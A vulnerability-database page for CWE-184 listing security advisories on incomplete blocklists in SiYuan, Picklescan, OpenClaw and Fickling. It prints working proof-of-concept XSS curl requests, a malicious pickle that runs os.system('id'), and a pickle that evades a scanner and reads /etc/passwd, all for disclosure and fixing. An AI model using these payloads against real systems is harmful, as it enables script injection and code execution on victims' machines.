Common Weakness Enumeration

CWE-184

Allowed

Incomplete List of Disallowed Inputs

Abstraction: Base · Status: Draft

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

307 vulnerabilities reference this CWE, most recent first.

GHSA-4MX9-3C2H-HWHG

Vulnerability from github – Published: 2026-03-17 14:08 – Updated: 2026-03-30 14:03
VLAI
Summary
SiYuan has a SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)
Details

SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)

SanitizeSVG blocks data:text/html and data:image/svg+xml in href attributes but misses data:text/xml and data:application/xml. Both render SVG with onload JavaScript execution (confirmed in Chromium 136, other browsers untested).

/api/icon/getDynamicIcon is unauthenticated and serves SVG as Content-Type: image/svg+xml. The content parameter (type=8) gets embedded into the SVG via fmt.Sprintf with no escaping. The sanitizer catches data:text/html but data:text/xml passes the blocklist -- only three MIME types are checked.

This is a click-through XSS: victim visits the crafted URL, sees an SVG with an injected link, clicks it. If SiYuan renders these icons via <img> tags in the frontend, links aren't interactive there -- the attack needs direct navigation to the endpoint URL or <object>/<embed> embedding.

Steps to reproduce

Against SiYuan v3.6.0 (Docker):

# 1. data:text/xml bypass -- <a> element preserved with href intact
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
  --data-urlencode 'type=8' \
  --data-urlencode 'content=</text><a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">click</a><text>' \
  | grep -o '<a [^>]*>'
# Output: <a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">

# 2. data:text/html is correctly blocked -- href stripped
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
  --data-urlencode 'type=8' \
  --data-urlencode 'content=</text><a href="data:text/html,<script>alert(1)</script>">click</a><text>' \
  | grep -o '<a [^>]*>'
# Output: <a>  (href removed)

# 3. data:application/xml also bypasses
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
  --data-urlencode 'type=8' \
  --data-urlencode 'content=</text><a href="data:application/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(1)%27/%3E">click</a><text>' \
  | grep -o '<a [^>]*>'
# Output: <a href="data:application/xml,...">  (href preserved)

JS execution confirmed in Chromium 136 -- data:text/xml SVG onload fires and posts a message to the parent window via iframe test.

Vulnerable code

kernel/util/misc.go lines 289-293:

if strings.HasPrefix(val, "data:") {
    if strings.Contains(val, "text/html") || strings.Contains(val, "image/svg+xml") || strings.Contains(val, "application/xhtml+xml") {
        continue
    }
}

text/xml and application/xml aren't in the list. Both serve SVG with JS execution.

Impact

Reflected XSS on an unauthenticated endpoint. Victim visits the crafted URL, then clicks the injected link in the SVG. No auth needed to craft the URL.

Docker deployments where SiYuan is network-accessible are the clearest target -- the endpoint is reachable directly. In the Electron desktop app, impact depends on nodeIntegration/contextIsolation settings. Issue #15970 ("XSS to RCE") explored that path.

The deeper issue: the blocklist approach for data: URIs is fragile. text/xml and application/xml are the gap today, but other MIME types that render active content could surface. An allowlist of safe image types covers the known vectors and future MIME type additions.

Affected versions

v3.6.0 (latest, confirmed). All versions since SanitizeSVG was added to fix CVE-2026-29183.

Suggested fix

Flip the data: URI check to an allowlist -- only permit safe image types in href:

if strings.HasPrefix(val, "data:") {
    safe := strings.HasPrefix(val, "data:image/png") ||
            strings.HasPrefix(val, "data:image/jpeg") ||
            strings.HasPrefix(val, "data:image/gif") ||
            strings.HasPrefix(val, "data:image/webp")
    if !safe {
        continue
    }
}

If you prefer extending the blocklist, add at minimum: text/xml, application/xml, text/xsl, and multipart/ types.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20260313024916-fd6526133bb3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-17T14:08:11Z",
    "nvd_published_at": "2026-03-20T04:16:49Z",
    "severity": "CRITICAL"
  },
  "details": "# SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)\n\n`SanitizeSVG` blocks `data:text/html` and `data:image/svg+xml` in href attributes but misses `data:text/xml` and `data:application/xml`. Both render SVG with `onload` JavaScript execution (confirmed in Chromium 136, other browsers untested).\n\n`/api/icon/getDynamicIcon` is unauthenticated and serves SVG as `Content-Type: image/svg+xml`. The `content` parameter (type=8) gets embedded into the SVG via `fmt.Sprintf` with no escaping. The sanitizer catches `data:text/html` but `data:text/xml` passes the blocklist -- only three MIME types are checked.\n\nThis is a click-through XSS: victim visits the crafted URL, sees an SVG with an injected link, clicks it. If SiYuan renders these icons via `\u003cimg\u003e` tags in the frontend, links aren\u0027t interactive there -- the attack needs direct navigation to the endpoint URL or `\u003cobject\u003e`/`\u003cembed\u003e` embedding.\n\n## Steps to reproduce\n\nAgainst SiYuan v3.6.0 (Docker):\n\n```sh\n# 1. data:text/xml bypass -- \u003ca\u003e element preserved with href intact\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n  --data-urlencode \u0027type=8\u0027 \\\n  --data-urlencode \u0027content=\u003c/text\u003e\u003ca href=\"data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E\"\u003eclick\u003c/a\u003e\u003ctext\u003e\u0027 \\\n  | grep -o \u0027\u003ca [^\u003e]*\u003e\u0027\n# Output: \u003ca href=\"data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E\"\u003e\n\n# 2. data:text/html is correctly blocked -- href stripped\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n  --data-urlencode \u0027type=8\u0027 \\\n  --data-urlencode \u0027content=\u003c/text\u003e\u003ca href=\"data:text/html,\u003cscript\u003ealert(1)\u003c/script\u003e\"\u003eclick\u003c/a\u003e\u003ctext\u003e\u0027 \\\n  | grep -o \u0027\u003ca [^\u003e]*\u003e\u0027\n# Output: \u003ca\u003e  (href removed)\n\n# 3. data:application/xml also bypasses\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n  --data-urlencode \u0027type=8\u0027 \\\n  --data-urlencode \u0027content=\u003c/text\u003e\u003ca href=\"data:application/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(1)%27/%3E\"\u003eclick\u003c/a\u003e\u003ctext\u003e\u0027 \\\n  | grep -o \u0027\u003ca [^\u003e]*\u003e\u0027\n# Output: \u003ca href=\"data:application/xml,...\"\u003e  (href preserved)\n```\n\nJS execution confirmed in Chromium 136 -- `data:text/xml` SVG `onload` fires and posts a message to the parent window via iframe test.\n\n## Vulnerable code\n\n`kernel/util/misc.go` lines 289-293:\n\n```go\nif strings.HasPrefix(val, \"data:\") {\n    if strings.Contains(val, \"text/html\") || strings.Contains(val, \"image/svg+xml\") || strings.Contains(val, \"application/xhtml+xml\") {\n        continue\n    }\n}\n```\n\n`text/xml` and `application/xml` aren\u0027t in the list. Both serve SVG with JS execution.\n\n## Impact\n\nReflected XSS on an unauthenticated endpoint. Victim visits the crafted URL, then clicks the injected link in the SVG. No auth needed to craft the URL.\n\nDocker deployments where SiYuan is network-accessible are the clearest target -- the endpoint is reachable directly. In the Electron desktop app, impact depends on `nodeIntegration`/`contextIsolation` settings. Issue #15970 (\"XSS to RCE\") explored that path.\n\nThe deeper issue: the blocklist approach for data: URIs is fragile. `text/xml` and `application/xml` are the gap today, but other MIME types that render active content could surface. An allowlist of safe image types covers the known vectors and future MIME type additions.\n\n## Affected versions\n\nv3.6.0 (latest, confirmed). All versions since `SanitizeSVG` was added to fix CVE-2026-29183.\n\n## Suggested fix\n\nFlip the data: URI check to an allowlist -- only permit safe image types in href:\n\n```go\nif strings.HasPrefix(val, \"data:\") {\n    safe := strings.HasPrefix(val, \"data:image/png\") ||\n            strings.HasPrefix(val, \"data:image/jpeg\") ||\n            strings.HasPrefix(val, \"data:image/gif\") ||\n            strings.HasPrefix(val, \"data:image/webp\")\n    if !safe {\n        continue\n    }\n}\n```\n\nIf you prefer extending the blocklist, add at minimum: `text/xml`, `application/xml`, `text/xsl`, and `multipart/` types.",
  "id": "GHSA-4mx9-3c2h-hwhg",
  "modified": "2026-03-30T14:03:47Z",
  "published": "2026-03-17T14:08:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4mx9-3c2h-hwhg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32940"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/commit/d01d561875d4f744e9f6232f1d4831e3642b8696"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6865-qjcf-286f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan has a SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)"
}

GHSA-4P4H-9GVQ-7XFG

Vulnerability from github – Published: 2025-04-24 03:31 – Updated: 2025-04-24 16:02
VLAI
Summary
Duplicate Advisory: Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-93mv-x874-956g. This link is maintained to preserve external references.

Original Description

The unsafe globals in Picklescan before 0.0.25 do not include ssl. Consequently, ssl.get_server_certificate can exfiltrate data via DNS after deserialization.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 0.0.25"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-24T16:02:09Z",
    "nvd_published_at": "2025-04-24T01:15:49Z",
    "severity": "MODERATE"
  },
  "details": "# Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-93mv-x874-956g. This link is maintained to preserve external references.\n\n# Original Description\n\nThe unsafe globals in Picklescan before 0.0.25 do not include ssl. Consequently, ssl.get_server_certificate can exfiltrate data via DNS after deserialization.",
  "id": "GHSA-4p4h-9gvq-7xfg",
  "modified": "2025-04-24T16:02:09Z",
  "published": "2025-04-24T03:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46417"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/pull/40"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-93mv-x874-956g"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate",
  "withdrawn": "2025-04-24T16:02:09Z"
}

GHSA-5326-6F73-M96W

Vulnerability from github – Published: 2026-03-19 03:30 – Updated: 2026-03-19 18:21
VLAI
Summary
Duplicate Advisory: OpenClaw macOS companion app (beta): allowlist parsing mismatch for system.run shell chains
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-5f9p-f3w2-fwch. This link is maintained to preserve external references.

Original Description

OpenClaw versions prior to 2026.2.22 contain an allowlist parsing mismatch vulnerability in the macOS companion app that allows authenticated operators to bypass exec approval checks. Attackers with operator.write privileges and a paired macOS beta node can craft shell-chain payloads that pass incomplete allowlist validation and execute arbitrary commands on the paired host.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 2026.2.22"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T18:21:39Z",
    "nvd_published_at": "2026-03-19T02:16:04Z",
    "severity": "MODERATE"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-5f9p-f3w2-fwch. This link is maintained to preserve external references.\n\n## Original Description\nOpenClaw versions prior to 2026.2.22 contain an allowlist parsing mismatch vulnerability in the macOS companion app that allows authenticated operators to bypass exec approval checks. Attackers with operator.write privileges and a paired macOS beta node can craft shell-chain payloads that pass incomplete allowlist validation and execute arbitrary commands on the paired host.",
  "id": "GHSA-5326-6f73-m96w",
  "modified": "2026-03-19T18:21:39Z",
  "published": "2026-03-19T03:30:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-5f9p-f3w2-fwch"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31993"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/5da03e622119fa012285cdb590fcf4264c965cb5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/e371da38aab99521c4e076cd3d95fd775e00b784"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-allowlist-parsing-mismatch-in-system-run-shell-chains"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:A/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: OpenClaw macOS companion app (beta): allowlist parsing mismatch for system.run shell chains",
  "withdrawn": "2026-03-19T18:21:39Z"
}

GHSA-565G-HWWR-4PP3

Vulnerability from github – Published: 2025-12-15 23:35 – Updated: 2025-12-20 02:30
VLAI
Summary
Fickling has missing detection for marshal.loads and types.FunctionType in unsafe modules list
Details

Fickling Assessment

Based on the test case provided in the original report below, this bypass was caused by marshal and types missing from the block list of unsafe module imports, Fickling started blocking both modules to address this issue. This was fixed in https://github.com/trailofbits/fickling/pull/186. The crash is unrelated and has no security impact—it will be addressed separately.

Original report

Summary

There's missing detection for the python modules, marshal.loads and types.FunctionType and Fickling throws unhandled ValueErrors when the stack is deliberately exhausted.

Details

Fickling simply doesn't have the aforementioned modules in its list of unsafe imports and therefore it fails to get detected.

PoC

The following is a disassembled view of a malicious pickle file that uses these modules:

    0: \x80 PROTO      4
    2: \x95 FRAME      0
   11: \x8c SHORT_BINUNICODE 'marshal'
   20: \x8c SHORT_BINUNICODE 'loads'
   27: \x93 STACK_GLOBAL
   28: \x94 MEMOIZE    (as 0)
   29: h    BINGET     0
   31: C    SHORT_BINBYTES b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xf30\x00\x00\x00\x95\x00S\x00S\x01K\x00r\x00\\\x00R\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"\x00S\x025\x01\x00\x00\x00\x00\x00\x00 \x00g\x01)\x03\xe9\x00\x00\x00\x00N\xda\x02id)\x02\xda\x02os\xda\x06system\xa9\x00\xf3\x00\x00\x00\x00\xda\x08<string>\xda\x08<module>r\t\x00\x00\x00\x01\x00\x00\x00s\x13\x00\x00\x00\xf0\x03\x01\x01\x01\xe3\x00\t\xd8\x00\x02\x87\t\x82\t\x88$\x85\x0fr\x07\x00\x00\x00'
  198: \x85 TUPLE1
  199: R    REDUCE
  200: \x94 MEMOIZE    (as 1)
  201: \x8c SHORT_BINUNICODE 'types'
  208: \x8c SHORT_BINUNICODE 'FunctionType'
  222: \x93 STACK_GLOBAL
  223: \x94 MEMOIZE    (as 2)
  224: h    BINGET     2
  226: h    BINGET     1
  228: }    EMPTY_DICT
  229: \x86 TUPLE2
  230: R    REDUCE
  231: \x94 MEMOIZE    (as 3)
  232: h    BINGET     3
  234: )    EMPTY_TUPLE
  235: R    REDUCE
  236: \x94 MEMOIZE    (as 4)
  237: \x8c SHORT_BINUNICODE 'gottem'
  245: b    BUILD
  246: .    STOP
 ```

When analyzing this modified file, safety_result.json shows:

{ "severity": "LIKELY_SAFE", "analysis": "Warning: Fickling failed to detect any overtly unsafe code,but the pickle file may still be unsafe.Do not unpickle this file if it is from an untrusted source!\n\n", "detailed_results": {} }


Furthermore, when we run `fickling -s <path_to_malicious_file>`, we also encounter this error:

Traceback (most recent call last): File "/fickling", line 7, in sys.exit(main()) ^^^^^^ File "/fickling/cli.py", line 163, in main safety_results = check_safety(pickled, json_output_path=json_output_path) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/fickling/analysis.py", line 408, in check_safety results = analyzer.analyze(pickled) ^^^^^^^^^^^^^^^^^^^^^^^^^ File "/fickling/analysis.py", line 65, in analyze context.analyze(a) File "/fickling/analysis.py", line 31, in analyze results = list(analysis.analyze(self)) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/fickling/analysis.py", line 196, in analyze for node in context.pickled.non_standard_imports(): ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/fickling/fickle.py", line 826, in non_standard_imports for node in self.properties.imports: ^^^^^^^^^^^^^^^ File "/fickling/fickle.py", line 777, in properties self._properties.visit(self.ast) ^^^^^^^^ File "/fickling/fickle.py", line 833, in ast self._ast = Interpreter.interpret(self) ^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/fickling/fickle.py", line 1001, in interpret return Interpreter(pickled).to_ast() ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/fickling/fickle.py", line 927, in to_ast self.run() File "/fickling/fickle.py", line 971, in run self.step() File "/fickling/fickle.py", line 989, in step opcode.run(self) File "/fickling/fickle.py", line 1767, in run raise ValueError("Exhausted the stack while searching for a MarkObject!") ValueError: Exhausted the stack while searching for a MarkObject! ```

Impact

This allows an attacker to craft a malicious pickle file that can bypass fickling since it misses detections for types.FunctionType and marshal.loads. A user who deserializes such a file, believing it to be safe, would inadvertently execute arbitrary code on their system. This impacts any user or system that uses Fickling to vet pickle files for security issues.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "fickling"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-67747"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-15T23:35:55Z",
    "nvd_published_at": "2025-12-16T01:15:52Z",
    "severity": "HIGH"
  },
  "details": "## Fickling Assessment\n\nBased on the test case provided in the original report below, this bypass was caused by `marshal` and `types` missing from the block list of unsafe module imports, Fickling started blocking both modules to address this issue. This was fixed in https://github.com/trailofbits/fickling/pull/186. The crash is unrelated and has no security impact\u2014it will be addressed separately.\n\n## Original report\n\n### Summary\nThere\u0027s missing detection for the python modules, `marshal.loads` and `types.FunctionType` and Fickling throws unhandled ValueErrors when the stack is deliberately exhausted.\n\n### Details\nFickling simply doesn\u0027t have the aforementioned modules in its list of unsafe imports and therefore it fails to get detected.\n\n### PoC\nThe following is a disassembled view of a malicious pickle file that uses these modules:\n```\n    0: \\x80 PROTO      4\n    2: \\x95 FRAME      0\n   11: \\x8c SHORT_BINUNICODE \u0027marshal\u0027\n   20: \\x8c SHORT_BINUNICODE \u0027loads\u0027\n   27: \\x93 STACK_GLOBAL\n   28: \\x94 MEMOIZE    (as 0)\n   29: h    BINGET     0\n   31: C    SHORT_BINBYTES b\u0027\\xe3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf30\\x00\\x00\\x00\\x95\\x00S\\x00S\\x01K\\x00r\\x00\\\\\\x00R\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\\x00S\\x025\\x01\\x00\\x00\\x00\\x00\\x00\\x00 \\x00g\\x01)\\x03\\xe9\\x00\\x00\\x00\\x00N\\xda\\x02id)\\x02\\xda\\x02os\\xda\\x06system\\xa9\\x00\\xf3\\x00\\x00\\x00\\x00\\xda\\x08\u003cstring\u003e\\xda\\x08\u003cmodule\u003er\\t\\x00\\x00\\x00\\x01\\x00\\x00\\x00s\\x13\\x00\\x00\\x00\\xf0\\x03\\x01\\x01\\x01\\xe3\\x00\\t\\xd8\\x00\\x02\\x87\\t\\x82\\t\\x88$\\x85\\x0fr\\x07\\x00\\x00\\x00\u0027\n  198: \\x85 TUPLE1\n  199: R    REDUCE\n  200: \\x94 MEMOIZE    (as 1)\n  201: \\x8c SHORT_BINUNICODE \u0027types\u0027\n  208: \\x8c SHORT_BINUNICODE \u0027FunctionType\u0027\n  222: \\x93 STACK_GLOBAL\n  223: \\x94 MEMOIZE    (as 2)\n  224: h    BINGET     2\n  226: h    BINGET     1\n  228: }    EMPTY_DICT\n  229: \\x86 TUPLE2\n  230: R    REDUCE\n  231: \\x94 MEMOIZE    (as 3)\n  232: h    BINGET     3\n  234: )    EMPTY_TUPLE\n  235: R    REDUCE\n  236: \\x94 MEMOIZE    (as 4)\n  237: \\x8c SHORT_BINUNICODE \u0027gottem\u0027\n  245: b    BUILD\n  246: .    STOP\n ```\n\nWhen analyzing this modified file, safety_result.json shows:\n```\n{\n    \"severity\": \"LIKELY_SAFE\",\n    \"analysis\": \"Warning: Fickling failed to detect any overtly unsafe code,but the pickle file may still be unsafe.Do not unpickle this file if it is from an untrusted source!\\n\\n\",\n    \"detailed_results\": {}\n}\n```\n\nFurthermore, when we run `fickling -s \u003cpath_to_malicious_file\u003e`, we also encounter this error:\n```\nTraceback (most recent call last):\n  File \"\u003cpath\u003e/fickling\", line 7, in \u003cmodule\u003e\n    sys.exit(main())\n             ^^^^^^\n  File \"\u003cpath\u003e/fickling/cli.py\", line 163, in main\n    safety_results = check_safety(pickled, json_output_path=json_output_path)\n                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"\u003cpath\u003e/fickling/analysis.py\", line 408, in check_safety\n    results = analyzer.analyze(pickled)\n              ^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"\u003cpath\u003e/fickling/analysis.py\", line 65, in analyze\n    context.analyze(a)\n  File \"\u003cpath\u003e/fickling/analysis.py\", line 31, in analyze\n    results = list(analysis.analyze(self))\n              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"\u003cpath\u003e/fickling/analysis.py\", line 196, in analyze\n    for node in context.pickled.non_standard_imports():\n                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"\u003cpath\u003e/fickling/fickle.py\", line 826, in non_standard_imports\n    for node in self.properties.imports:\n                ^^^^^^^^^^^^^^^\n  File \"\u003cpath\u003e/fickling/fickle.py\", line 777, in properties\n    self._properties.visit(self.ast)\n                           ^^^^^^^^\n  File \"\u003cpath\u003e/fickling/fickle.py\", line 833, in ast\n    self._ast = Interpreter.interpret(self)\n                ^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"\u003cpath\u003e/fickling/fickle.py\", line 1001, in interpret\n    return Interpreter(pickled).to_ast()\n           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"\u003cpath\u003e/fickling/fickle.py\", line 927, in to_ast\n    self.run()\n  File \"\u003cpath\u003e/fickling/fickle.py\", line 971, in run\n    self.step()\n  File \"\u003cpath\u003e/fickling/fickle.py\", line 989, in step\n    opcode.run(self)\n  File \"\u003cpath\u003e/fickling/fickle.py\", line 1767, in run\n    raise ValueError(\"Exhausted the stack while searching for a MarkObject!\")\nValueError: Exhausted the stack while searching for a MarkObject!\n```\n\n### Impact\nThis allows an attacker to craft a malicious pickle file that can bypass fickling since it misses detections for `types.FunctionType` and `marshal.loads`. A user who deserializes such a file, believing it to be safe, would inadvertently execute arbitrary code on their system. This impacts any user or system that uses Fickling to vet pickle files for security issues.",
  "id": "GHSA-565g-hwwr-4pp3",
  "modified": "2025-12-20T02:30:33Z",
  "published": "2025-12-15T23:35:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-565g-hwwr-4pp3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67747"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/pull/186"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/commit/4e34561301bda1450268d1d7b0b2b151de33b913"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/trailofbits/fickling"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Fickling has missing detection for marshal.loads and types.FunctionType in unsafe modules list"
}

GHSA-5CXW-W2XG-2M8H

Vulnerability from github – Published: 2026-03-13 20:58 – Updated: 2026-03-13 20:58
VLAI
Summary
fickling's `platform` module subprocess invocation evades `check_safety()` with `LIKELY_SAFE`
Details

Our assessment

We added platform to the blocklist of unsafe modules (https://github.com/trailofbits/fickling/commit/351ed4d4242b447c0ffd550bb66b40695f3f9975).

It was not possible to inject extra arguments to file without first monkey-patching platform._follow_symlinks with the pickle, as it always returns an absolute path. We independently hardened it with https://github.com/trailofbits/fickling/commit/b9e690c5a57ee9cd341de947fc6151959f4ae359 to reduce the risk of obtaining direct module references while evading detection.

https://github.com/python/cpython/blob/6d1e9ceed3e70ebc39953f5ad4f20702ffa32119/Lib/platform.py#L687-L695

target = _follow_symlinks(target)
# "file" output is locale dependent: force the usage of the C locale
# to get deterministic behavior.
env = dict(os.environ, LC_ALL='C')
try:
    # -b: do not prepend filenames to output lines (brief mode)
    output = subprocess.check_output(['file', '-b', target],
                                     stderr=subprocess.DEVNULL,
                                     env=env)

Original report

Summary

A crafted pickle invoking platform._syscmd_file, platform.architecture, or platform.libc_ver passes check_safety() with Severity.LIKELY_SAFE and zero findings. During fickling.loads(), these functions invoke subprocess.check_output with attacker-controlled arguments or read arbitrary files from disk.

Clarification: The subprocess call uses a list argument (['file', '-b', target]), not shell=True, so the attacker controls the file path argument to the file command, not the command itself. The impact is subprocess invocation with attacker-controlled arguments and information disclosure (file type probing), not arbitrary command injection.

Affected versions

<= 0.1.9 (verified on upstream HEAD as of 2026-03-04)

Non-duplication check against published Fickling GHSAs

No published advisory covers platform module false-negative bypass. This follows the same structural pattern as GHSA-5hwf-rc88-82xm (missing modules in UNSAFE_IMPORTS) but covers a distinct set of functions.

Root cause

  1. platform not in UNSAFE_IMPORTS denylist.
  2. OvertlyBadEvals skips calls imported from stdlib modules.
  3. UnusedVariables heuristic neutralized by making call result appear used (SETITEMS path).

Reproduction (clean upstream)

from unittest.mock import patch
import fickling
import fickling.fickle as op
from fickling.fickle import Pickled
from fickling.analysis import check_safety

pickled = Pickled([
    op.Proto.create(4),
    op.ShortBinUnicode('platform'),
    op.ShortBinUnicode('_syscmd_file'),
    op.StackGlobal(),
    op.ShortBinUnicode('/etc/passwd'),
    op.TupleOne(),
    op.Reduce(),
    op.Memoize(),
    op.EmptyDict(),
    op.ShortBinUnicode('init'),
    op.ShortBinUnicode('x'),
    op.SetItem(),
    op.Mark(),
    op.ShortBinUnicode('trace'),
    op.BinGet(0),
    op.SetItems(),
    op.Stop(),
])

results = check_safety(pickled)
print(results.severity.name, len(results.results))  # LIKELY_SAFE 0

with patch('subprocess.check_output', return_value=b'ASCII text') as mock_sub:
    fickling.loads(pickled.dumps())
    print('subprocess called?', mock_sub.called)       # True
    print('args:', mock_sub.call_args[0])               # (['file', '-b', '/etc/passwd'],)

